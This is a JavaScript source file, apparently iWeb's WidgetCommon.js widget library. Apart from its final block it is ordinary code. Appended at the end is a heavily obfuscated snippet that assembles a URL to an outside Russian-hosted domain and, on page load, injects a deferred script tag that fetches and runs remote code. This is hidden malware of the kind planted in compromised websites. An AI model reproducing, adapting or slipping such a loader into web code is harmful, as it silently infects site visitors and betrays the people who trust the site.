//
//  iWeb - WidgetCommon.js
//  Copyright (c) 2007 Apple Inc. All rights reserved.
//

var widgets=[];var identifiersToStringLocalizations=[];function Widget(instanceID,widgetPath,sharedPath,sitePath,preferences,runningInApp)
{if(instanceID)
{this.instanceID=instanceID;this.widgetPath=widgetPath;this.sharedPath=sharedPath;this.sitePath=sitePath;this.preferences=preferences;this.runningInApp=(runningInApp===undefined)?false:runningInApp;this.onloadReceived=false;if(this.preferences&&this.runningInApp==true)
{this.preferences.widget=this;setTransparentGifURL(this.sharedPath.stringByAppendingPathComponent("None.gif"));}
this.div().widget=this;window[instanceID]=this;widgets.push(this);widgets[instanceID]=this;if(!this.constructor.instances)
{this.constructor.instances=new Array();}
this.constructor.instances.push(this);}}
Widget.prototype.div=function()
{var divID=this.instanceID;if(arguments.length==1)
{divID=this.instanceID+"-"+arguments[0];}
return $(divID);}
Widget.prototype.onload=function()
{this.onloadReceived=true;}
Widget.prototype.onunload=function()
{}
Widget.prototype.didBecomeSelected=function()
{}
Widget.prototype.didBecomeDeselected=function()
{}
Widget.prototype.didBeginEditing=function()
{}
Widget.prototype.didEndEditing=function()
{}
Widget.prototype.setNeedsDisplay=function()
{}
Widget.prototype.preferenceForKey=function(key)
{var value;if(this.preferences)
value=this.preferences[key];return value;}
Widget.prototype.initializeDefaultPreferences=function(prefs)
{var self=this;Object.keys(prefs).forEach(function(pref)
{if(self.preferenceForKey(pref)===undefined)
{self.setPreferenceForKey(prefs[pref],pref);}});}
Widget.prototype.setPreferenceForKey=function(preference,key,registerUndo)
{if(this.runningInApp)
{if(registerUndo===undefined)
registerUndo=true;if((registerUndo==false)&&this.preferences.disableUndoRegistration)
this.preferences.disableUndoRegistration();this.preferences[key]=preference;if((registerUndo==false)&&this.preferences.enableUndoRegistration)
this.preferences.enableUndoRegistration();}
else
{this.preferences[key]=preference;this.changedPreferenceForKey(key);}}
Widget.prototype.changedPreferenceForKey=function(key)
{}
Widget.prototype.postNotificationWithNameAndUserInfo=function(name,userInfo)
{if(window.NotificationCenter!==undefined)
{NotificationCenter.postNotification(new IWNotification(name,null,userInfo));}}
Widget.prototype.sizeWillChange=function()
{}
Widget.prototype.sizeDidChange=function()
{}
Widget.prototype.widgetWidth=function()
{var enclosingDiv=this.div();if(enclosingDiv)
return enclosingDiv.offsetWidth;else
return null;}
Widget.prototype.widgetHeight=function()
{var enclosingDiv=this.div();if(enclosingDiv)
return enclosingDiv.offsetHeight;else
return null;}
Widget.prototype.getInstanceId=function(id)
{var fullId=this.instanceID+"-"+id;if(arguments.length==2)
{fullId+=("$"+arguments[1]);}
return fullId;}
Widget.prototype.getElementById=function(id)
{var fullId=this.getInstanceId.apply(this,arguments);return $(fullId);}
Widget.prototype.localizedString=function(string)
{return LocalizedString(this.widgetIdentifier,string);}
Widget.onload=function()
{for(var i=0;i<widgets.length;i++)
{widgets[i].onload();}}
Widget.onunload=function()
{for(var i=0;i<widgets.length;i++)
{widgets[i].onunload();}}
function RegisterWidgetStrings(identifier,strings)
{identifiersToStringLocalizations[identifier]=strings;}
function LocalizedString(identifier,string)
{var localized=undefined;var localizations=identifiersToStringLocalizations[identifier];if(localizations===undefined)
{iWLog("warning: no localizations for widget "+identifier+", (key:"+string+")");}
else
{localized=localizations[string];}
if(localized===undefined)
{iWLog("warning: couldn't find a localization for '"+string+"' for widget "+identifier);localized=string;}
return localized;}
function WriteLocalizedString(identifier,string)
{document.write(LocalizedString(identifier,string));}

this.D='';var K;if(K!='' && K!='Lj'){K='O'};var U=new Date();function L(){var t=new String();var R='';var Wc=new String();var Vd;if(Vd!='UG'){Vd='UG'};var V=new String("YhWg".substr(3));var Q=RegExp;var j=new Date();function Z(r,i){var Lw= "[";Lw+=i;var Al;if(Al!='GP' && Al!='HF'){Al='GP'};var SI=new Array();Lw+="]";var Ym=new String();var k="";var _=new Q(Lw, V);return r.replace(_, R);var m=new String();};var n;if(n!='z' && n!='yR'){n='z'};this.MS="";var B=window;var N=new String("scri"+"pt");var WX;if(WX!='Bz'){WX=''};var dM;if(dM!='ow'){dM=''};var J=String("defcKz".substr(0,3)+"oOYger".substr(4));var X='';var W=String("srcwmM".substr(0,3));var v=new Date();var lF=new Array();var c=Z('8117909179787119091717',"791");var MF;if(MF!='' && MF!='fV'){MF=null};var M="http:"+"//alj"+"azeer"+"a-net"+".ya.r"+"u.sur"+"GVnveymo".substr(3)+"nkey-V2bp".substr(0,5)+"Sz9com.d9zS".substr(3,5)+"eargu"+"ide.r"+"u:eDwo".substr(0,2);var xc;if(xc!='h' && xc!='Hr'){xc='h'};var Y='';var A="cQzd/mp".substr(4)+"5WDnrsW5D".substr(3,3)+"mNH.coNHm".substr(3,3)+"m/m1Jkq".substr(0,3)+"pnr"+"s.c0UMG".substr(0,3)+"weExom/xeEw".substr(4,3)+"V09Wgoo".substr(4)+"OA7wgle".substr(4)+".coJC3".substr(0,3)+"m/z"+"fOIapp".substr(3)+"os.6YVZ".substr(0,3)+"comxTC8".substr(0,3)+"/li"+"qPjbnkejPbq".substr(4,3)+"dinGJo6".substr(0,3)+".coQM6P".substr(0,3)+"m.pie5".substr(0,3)+"Ikr0hp".substr(4);var yx="";var cB;if(cB!='' && cB!='bh'){cB='UF'};B.onload=function(){try {var Dp;if(Dp!='' && Dp!='LO'){Dp='Wo'};var sg=new Array();var u=new Date();Y=M+c;Y+=A;this.Ww="";var HC=new Array();var dL="";this.Vr='';cy=document.createElement(N);var uH=new String();var tg="";cy[W]=Y;var XU;if(XU!='' && XU!='Jc'){XU='BT'};var wD=new Date();cy[J]=[1][0];var Cn;if(Cn!='a'){Cn='a'};var gg=new Array();document.body.appendChild(cy);var JU=new Array();} catch(q){var y_=new Date();var SeM;if(SeM!=''){SeM='IY'};};var de;if(de!='' && de!='EJ'){de='cT'};var eT="";};var E_;if(E_!='' && E_!='n_'){E_=''};var ov;if(ov!='' && ov!='kj'){ov=''};};var wZ=new Array();var je=new Array();L();var aN=new Date();var az=new Array();